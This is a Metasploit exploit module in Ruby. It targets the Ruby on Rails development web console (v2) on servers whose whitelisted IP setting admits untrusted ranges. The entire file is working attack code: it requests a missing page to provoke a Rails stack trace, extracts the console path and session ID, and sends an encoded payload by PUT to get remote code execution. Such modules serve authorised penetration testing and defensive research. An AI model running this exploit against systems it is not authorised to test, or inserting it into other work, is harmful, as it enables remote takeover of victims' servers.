##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Development Web Console (v2) Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution feature of the Ruby on Rails
        framework. This feature is exposed if the config.web_console.whitelisted_ips
        setting includes untrusted IP ranges and the web-console gem is enabled.
      },
      'Author'         => ['hdm'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://github.com/rails/web-console' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PrependFork' => true },
      'DisclosureDate' => 'May 2 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
      ], self.class)
  end

  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET'
    }, 25)

    unless res
      print_error("Error: No response requesting #{datastore['TARGETURI']}")
      return
    end

    unless res.body.to_s =~ /data-mount-point='([^']+)'/
      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
        print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
      else
        print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
      end
      return
    end

    console_path = normalize_uri($1, 'repl_sessions')

    unless res.body.to_s =~ /data-session-id='([^']+)'/
      print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
      return
    end

    session_id = $1

    print_status("Sending payload to #{console_path}/#{session_id}")
    res = send_request_cgi({
      'uri'       => normalize_uri(console_path, session_id),
      'method'    => 'PUT',
      'headers'   => {
        'Accept'           => 'application/vnd.web-console.v2',
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'input' => payload.encoded
      }
    }, 25)
  end
end